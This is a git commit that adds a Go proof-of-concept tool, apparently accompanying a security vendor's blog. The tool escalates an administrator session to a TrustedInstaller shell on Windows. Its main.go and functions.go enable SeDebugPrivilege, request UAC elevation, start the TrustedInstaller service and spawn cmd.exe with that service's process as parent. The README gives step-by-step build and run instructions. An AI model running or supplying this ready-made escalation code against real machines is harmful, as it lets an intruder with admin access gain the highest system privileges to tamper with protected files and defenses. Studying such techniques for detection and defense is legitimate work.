Add TrustedInstaller POC
This commit is contained in:
commit
ad6540b29f
5 changed files with 221 additions and 0 deletions
11
README.md
Normal file
11
README.md
Normal file
|
@ -0,0 +1,11 @@
|
||||||
|
# TrustedInstaller
|
||||||
|
A simple Proof of Concept in Golang to start a new shell as TrustedInstaller. This code accompanies FourCore's blog about TrustedInstaller. It is important to note that you need to run this as a user which has SeDebugPrivileges. Upon running, it will automatically ask for UAC in case you are not running as an Administrator.
|
||||||
|
|
||||||
|
Use the `RunAsTrustedInstaller` function to pass any executable to be run with TrustedInstaller privileges.
|
||||||
|
|
||||||
|
To run
|
||||||
|
1. git clone the repository
|
||||||
|
2. ensure you have go compiler installed
|
||||||
|
3. You can either build a binary using `go build ti` or run it directly using `go run ti`
|
||||||
|
|
||||||
|
It will spawn a new cmd shell as TrustedInstaller which you can check by running `whoami /all`
|
120
functions.go
Normal file
120
functions.go
Normal file
|
@ -0,0 +1,120 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
"unicode/utf16"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
"golang.org/x/sys/windows/svc/mgr"
|
||||||
|
)
|
||||||
|
|
||||||
|
func openService(mgrHandle windows.Handle, name string) (*mgr.Service, error) {
|
||||||
|
n, err := windows.UTF16PtrFromString(name)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
h, err := windows.OpenService(mgrHandle, n, windows.SERVICE_QUERY_STATUS|windows.SERVICE_START|windows.SERVICE_STOP|windows.SERVICE_USER_DEFINED_CONTROL)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &mgr.Service{Name: name, Handle: h}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func enableSeDebugPrivilege() error {
|
||||||
|
var t windows.Token
|
||||||
|
if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_ALL_ACCESS, &t); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
var luid windows.LUID
|
||||||
|
|
||||||
|
if err := windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(seDebugPrivilege), &luid); err != nil {
|
||||||
|
return fmt.Errorf("LookupPrivilegeValueW failed, error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
ap := windows.Tokenprivileges{
|
||||||
|
PrivilegeCount: 1,
|
||||||
|
}
|
||||||
|
|
||||||
|
ap.Privileges[0].Luid = luid
|
||||||
|
ap.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED
|
||||||
|
|
||||||
|
if err := windows.AdjustTokenPrivileges(t, false, &ap, 0, nil, nil); err != nil {
|
||||||
|
return fmt.Errorf("AdjustTokenPrivileges failed, error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseProcessName(exeFile [windows.MAX_PATH]uint16) string {
|
||||||
|
for i, v := range exeFile {
|
||||||
|
if v <= 0 {
|
||||||
|
return string(utf16.Decode(exeFile[:i]))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func getTrustedInstallerPid() (uint32, error) {
|
||||||
|
|
||||||
|
snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
defer windows.CloseHandle(snapshot)
|
||||||
|
|
||||||
|
var procEntry windows.ProcessEntry32
|
||||||
|
procEntry.Size = uint32(unsafe.Sizeof(procEntry))
|
||||||
|
|
||||||
|
if err := windows.Process32First(snapshot, &procEntry); err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
if strings.EqualFold(parseProcessName(procEntry.ExeFile), tiExecutableName) {
|
||||||
|
return procEntry.ProcessID, nil
|
||||||
|
} else {
|
||||||
|
if err = windows.Process32Next(snapshot, &procEntry); err != nil {
|
||||||
|
if err == windows.ERROR_NO_MORE_FILES {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0, fmt.Errorf("cannot find %v in running process list", tiExecutableName)
|
||||||
|
}
|
||||||
|
|
||||||
|
func checkIfAdmin() bool {
|
||||||
|
f, err := os.Open("\\\\.\\PHYSICALDRIVE0")
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
f.Close()
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func elevate() error {
|
||||||
|
verb := "runas"
|
||||||
|
exe, _ := os.Executable()
|
||||||
|
cwd, _ := os.Getwd()
|
||||||
|
args := strings.Join(os.Args[1:], " ")
|
||||||
|
|
||||||
|
verbPtr, _ := syscall.UTF16PtrFromString(verb)
|
||||||
|
exePtr, _ := syscall.UTF16PtrFromString(exe)
|
||||||
|
cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
|
||||||
|
argPtr, _ := syscall.UTF16PtrFromString(args)
|
||||||
|
|
||||||
|
var showCmd int32 = 1 //SW_NORMAL
|
||||||
|
|
||||||
|
if err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
os.Exit(0)
|
||||||
|
return nil
|
||||||
|
}
|
5
go.mod
Normal file
5
go.mod
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
module ti
|
||||||
|
|
||||||
|
go 1.20
|
||||||
|
|
||||||
|
require golang.org/x/sys v0.5.0
|
2
go.sum
Normal file
2
go.sum
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=
|
||||||
|
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
83
main.go
Normal file
83
main.go
Normal file
|
@ -0,0 +1,83 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows/svc"
|
||||||
|
"golang.org/x/sys/windows/svc/mgr"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
seDebugPrivilege = "SeDebugPrivilege"
|
||||||
|
tiServiceName = "TrustedInstaller"
|
||||||
|
tiExecutableName = "trustedinstaller.exe"
|
||||||
|
)
|
||||||
|
|
||||||
|
func RunAsTrustedInstaller(path string, args []string) error {
|
||||||
|
if !checkIfAdmin() {
|
||||||
|
if err := elevate(); err != nil {
|
||||||
|
return fmt.Errorf("cannot elevate Privs: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := enableSeDebugPrivilege(); err != nil {
|
||||||
|
return fmt.Errorf("cannot enable %v: %v", seDebugPrivilege, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
svcMgr, err := mgr.Connect()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("cannot connect to svc manager: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
s, err := openService(svcMgr.Handle, tiServiceName)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("cannot open ti service: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
status, err := s.Query()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("cannot query ti service: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if status.State != svc.Running {
|
||||||
|
if err := s.Start(); err != nil {
|
||||||
|
return fmt.Errorf("cannot start ti service: %v", err)
|
||||||
|
} else {
|
||||||
|
defer s.Control(svc.Stop)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tiPid, err := getTrustedInstallerPid()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
hand, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS|windows.PROCESS_DUP_HANDLE|windows.PROCESS_SET_INFORMATION, true, tiPid)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("cannot open ti process: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd := exec.Command(path, args...)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
CreationFlags: windows.CREATE_NEW_CONSOLE,
|
||||||
|
ParentProcess: syscall.Handle(hand),
|
||||||
|
}
|
||||||
|
|
||||||
|
err = cmd.Start()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("cannot start new process: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println("Started process with PID", cmd.Process.Pid)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
if err := RunAsTrustedInstaller("cmd.exe", []string{"/c", "start", "cmd.exe"}); err != nil {
|
||||||
|
panic(err)
|
||||||
|
}
|
||||||
|
}
|
Loading…
Add table
Reference in a new issue